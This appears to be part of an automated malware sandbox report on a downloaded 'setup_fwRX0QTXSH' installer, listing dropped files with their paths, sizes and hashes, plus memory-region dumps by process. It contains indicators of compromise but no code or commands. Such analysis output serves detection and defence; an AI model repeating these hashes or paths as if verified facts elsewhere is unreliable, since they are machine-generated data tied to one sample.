                                                                                                                                                                                                                                                                                SHA1

                                                                                                                                                                                                                                                                                962a7812cc76ee927946e6fa0ef0a6094af633dd

                                                                                                                                                                                                                                                                                SHA256

                                                                                                                                                                                                                                                                                7fbc54ec971321aec81c210992e529aa483c25e5ac74d65dd322801940687d0d

                                                                                                                                                                                                                                                                                SHA512

                                                                                                                                                                                                                                                                                8742b63e0554229f2ed7fc57dea5402f93b637164c690b3e16173e47e05a355552669799c9b721761a7c43f49a1042c585196ac3800f3097301497338778c0cb

                                                                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_bl4pseqc.z3u.ps1

                                                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                                                60B

                                                                                                                                                                                                                                                                                MD5

                                                                                                                                                                                                                                                                                d17fe0a3f47be24a6453e9ef58c94641

                                                                                                                                                                                                                                                                                SHA1

                                                                                                                                                                                                                                                                                6ab83620379fc69f80c0242105ddffd7d98d5d9d

                                                                                                                                                                                                                                                                                SHA256

                                                                                                                                                                                                                                                                                96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

                                                                                                                                                                                                                                                                                SHA512

                                                                                                                                                                                                                                                                                5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

                                                                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\is-L5EV2.tmp\setup_fwRX0QTXSH.tmp

                                                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                                                694KB

                                                                                                                                                                                                                                                                                MD5

                                                                                                                                                                                                                                                                                4918b8c5c86bccebb8ebd8e0ca1974e4

                                                                                                                                                                                                                                                                                SHA1

                                                                                                                                                                                                                                                                                97c9e584873d142bc5376f706c45cd3759fb40c3

                                                                                                                                                                                                                                                                                SHA256

                                                                                                                                                                                                                                                                                24212e4cb8e55f1c34dbb62e1ffa94f049d87eb562c8edac0172bd89af30a7a1

                                                                                                                                                                                                                                                                                SHA512

                                                                                                                                                                                                                                                                                aacd6894066f329e4b8eccc355edcd6809d33f572d8ece0fa3f13e2fa1962a71a77fd414510d59fcc9ab52d80bd504f6cabdbe6a7d773300675fe7882efe79a0

                                                                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\is-VCVHM.tmp\_isetup\_iscrypt.dll

                                                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                                                2KB

                                                                                                                                                                                                                                                                                MD5

                                                                                                                                                                                                                                                                                a69559718ab506675e907fe49deb71e9

                                                                                                                                                                                                                                                                                SHA1

                                                                                                                                                                                                                                                                                bc8f404ffdb1960b50c12ff9413c893b56f2e36f

                                                                                                                                                                                                                                                                                SHA256

                                                                                                                                                                                                                                                                                2f6294f9aa09f59a574b5dcd33be54e16b39377984f3d5658cda44950fa0f8fc

                                                                                                                                                                                                                                                                                SHA512

                                                                                                                                                                                                                                                                                e52e0aa7fe3f79e36330c455d944653d449ba05b2f9abee0914a0910c3452cfa679a40441f9ac696b3ccf9445cbb85095747e86153402fc362bb30ac08249a63

                                                                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Roaming\Opera Software\Opera Stable\Crash Reports\settings.dat

                                                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                                                40B

                                                                                                                                                                                                                                                                                MD5

                                                                                                                                                                                                                                                                                3d53923ca09796601d843c02608870b6

                                                                                                                                                                                                                                                                                SHA1

                                                                                                                                                                                                                                                                                b5a4b7d0823b4aeecffb153878458900f70c6974

                                                                                                                                                                                                                                                                                SHA256

                                                                                                                                                                                                                                                                                73b3cab867a8861f74fbe98084ffdea0eda4770d2cc777bd620f38a4a2e87e3c

                                                                                                                                                                                                                                                                                SHA512

                                                                                                                                                                                                                                                                                3e40fb47f48ae04065b375aaa3fbaa8459ec07a692ce28fad441d8c1d264375edd9189130036516253f528b076c9471dbc0f32318be4159fc31f7cbe5e5ddbc0

                                                                                                                                                                                                                                                                              • C:\Users\Admin\Downloads\setup_fwRX0QTXSH.zip

                                                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                                                6.4MB

                                                                                                                                                                                                                                                                                MD5

                                                                                                                                                                                                                                                                                cf75fdbc990434677a4697d33dd6c96b

                                                                                                                                                                                                                                                                                SHA1

                                                                                                                                                                                                                                                                                cce37140e056e09bd545f78b3b7a93151d7431bf

                                                                                                                                                                                                                                                                                SHA256

                                                                                                                                                                                                                                                                                010cf3d9c9d6807bce6be595704c99dd06de4a6f82e1ad49eef91fa7c49b41a8

                                                                                                                                                                                                                                                                                SHA512

                                                                                                                                                                                                                                                                                098d410b4dd0fcdbeca71cc139833efa292756ee28709840401f475c08be6d4261ddf301bccdb9f472aef33c150ed7e4652ed6f597df8aca0872bd80fa80246e

                                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log

                                                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                                                1KB

                                                                                                                                                                                                                                                                                MD5

                                                                                                                                                                                                                                                                                33b19d75aa77114216dbc23f43b195e3

                                                                                                                                                                                                                                                                                SHA1

                                                                                                                                                                                                                                                                                36a6c3975e619e0c5232aa4f5b7dc1fec9525535

                                                                                                                                                                                                                                                                                SHA256

                                                                                                                                                                                                                                                                                b23ced31b855e5a39c94afa1f9d55b023b8c40d4dc62143e0539c6916c12c9d2

                                                                                                                                                                                                                                                                                SHA512

                                                                                                                                                                                                                                                                                676fa2fd34878b75e5899197fe6826bb5604541aa468804bc9835bd3acabed2e6759878a8f1358955413818a51456816e90f149133828575a416c2a74fc7d821

                                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                                                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                                                11KB

                                                                                                                                                                                                                                                                                MD5

                                                                                                                                                                                                                                                                                8fe15767a859641b544e8102fd3f66d6

                                                                                                                                                                                                                                                                                SHA1

                                                                                                                                                                                                                                                                                906deebfdf4eda0c2b2aa7fd4dc14a248d3a27a5

                                                                                                                                                                                                                                                                                SHA256

                                                                                                                                                                                                                                                                                4d36ca4fd8db07f68ac5c05868a302622a3afa320b63f042a811ca4e53b11e97

                                                                                                                                                                                                                                                                                SHA512

                                                                                                                                                                                                                                                                                3d786117dc82f011135eda9fddbb26c5331727f5de53796670483428aa9218b899c77d12070ff8238a5a4bcee67a900b3c786ad1a103456a7977aa3fc397c28f

                                                                                                                                                                                                                                                                              • memory/912-507-0x0000000000400000-0x0000000000414000-memory.dmp

                                                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                                                80KB

                                                                                                                                                                                                                                                                              • memory/912-403-0x0000000000400000-0x0000000000414000-memory.dmp

                                                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                                                80KB

                                                                                                                                                                                                                                                                              • memory/1104-764-0x0000000004A10000-0x0000000004D64000-memory.dmp

                                                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                                                3.3MB

                                                                                                                                                                                                                                                                              • memory/2052-658-0x0000000006280000-0x00000000062CC000-memory.dmp

                                                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                                                304KB

                                                                                                                                                                                                                                                                              • memory/2052-646-0x0000000005C80000-0x0000000005FD4000-memory.dmp

                                                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                                                3.3MB

                                                                                                                                                                                                                                                                              • memory/2068-531-0x0000000005B90000-0x0000000005BAE000-memory.dmp

                                                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                                                120KB

                                                                                                                                                                                                                                                                              • memory/2068-534-0x0000000007200000-0x000000000787A000-memory.dmp

                                                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                                                6.5MB

                                                                                                                                                                                                                                                                              • memory/2068-518-0x00000000053F0000-0x0000000005412000-memory.dmp

                                                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                                                136KB

                                                                                                                                                                                                                                                                              • memory/2068-535-0x00000000060B0000-0x00000000060CA000-memory.dmp

                                                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                                                104KB

                                                                                                                                                                                                                                                                              • memory/2068-532-0x0000000005BD0000-0x0000000005C1C000-memory.dmp

                                                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                                                304KB

                                                                                                                                                                                                                                                                              • memory/2068-520-0x0000000005570000-0x00000000055D6000-memory.dmp

                                                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                                                408KB

                                                                                                                                                                                                                                                                              • memory/2068-519-0x0000000005490000-0x00000000054F6000-memory.dmp

                                                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                                                408KB

                                                                                                                                                                                                                                                                              • memory/2068-516-0x00000000045D0000-0x0000000004606000-memory.dmp

                                                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                                                216KB

                                                                                                                                                                                                                                                                              • memory/2068-530-0x00000000057B0000-0x0000000005B04000-memory.dmp

                                                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                                                3.3MB

                                                                                                                                                                                                                                                                              • memory/2068-517-0x0000000004CD0000-0x00000000052F8000-memory.dmp

                                                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                                                6.2MB

                                                                                                                                                                                                                                                                              • memory/3352-802-0x00000181B61B0000-0x00000181B61D2000-memory.dmp

                                                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                                                136KB

                                                                                                                                                                                                                                                                              • memory/4548-712-0x0000000010000000-0x00000000105E5000-memory.dmp

                                                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                                                5.9MB

                                                                                                                                                                                                                                                                              • memory/4748-760-0x0000000010000000-0x00000000105E5000-memory.dmp

                                                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                                                5.9MB

                                                                                                                                                                                                                                                                              • memory/4812-473-0x0000000000400000-0x0000000000D18000-memory.dmp

                                                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                                                9.1MB

                                                                                                                                                                                                                                                                              • memory/4812-472-0x0000000000400000-0x0000000000D18000-memory.dmp

                                                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                                                9.1MB

                                                                                                                                                                                                                                                                              • memory/4812-743-0x0000000000400000-0x0000000000D18000-memory.dmp

                                                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                                                9.1MB

                                                                                                                                                                                                                                                                              • memory/4812-746-0x0000000000400000-0x0000000000D18000-memory.dmp

                                                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                                                9.1MB

                                                                                                                                                                                                                                                                              • memory/4812-749-0x0000000000400000-0x0000000000D18000-memory.dmp

                                                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                                                9.1MB

                                                                                                                                                                                                                                                                              • memory/4812-808-0x0000000000400000-0x0000000000D18000-memory.dmp

                                                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                                                9.1MB

                                                                                                                                                                                                                                                                              • memory/4812-621-0x0000000000400000-0x0000000000D18000-memory.dmp

                                                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                                                9.1MB

                                                                                                                                                                                                                                                                              • memory/4812-729-0x0000000000400000-0x0000000000D18000-memory.dmp

                                                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                                                9.1MB

                                                                                                                                                                                                                                                                              • memory/4812-776-0x0000000000400000-0x0000000000D18000-memory.dmp

                                                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                                                9.1MB

                                                                                                                                                                                                                                                                              • memory/4812-509-0x0000000000400000-0x0000000000D18000-memory.dmp

                                                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                                                9.1MB

                                                                                                                                                                                                                                                                              • memory/4812-668-0x0000000000400000-0x0000000000D18000-memory.dmp

                                                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                                                9.1MB

                                                                                                                                                                                                                                                                              • memory/4944-724-0x0000000006300000-0x0000000006654000-memory.dmp

                                                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                                                3.3MB

                                                                                                                                                                                                                                                                              • memory/4944-726-0x0000000006EC0000-0x0000000006F0C000-memory.dmp

                                                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                                                304KB

                                                                                                                                                                                                                                                                              • memory/4948-508-0x0000000000400000-0x00000000004BD000-memory.dmp

                                                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                                                756KB

                                                                                                                                                                                                                                                                              • memory/4948-807-0x0000000000400000-0x00000000004BD000-memory.dmp

                                                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                                                756KB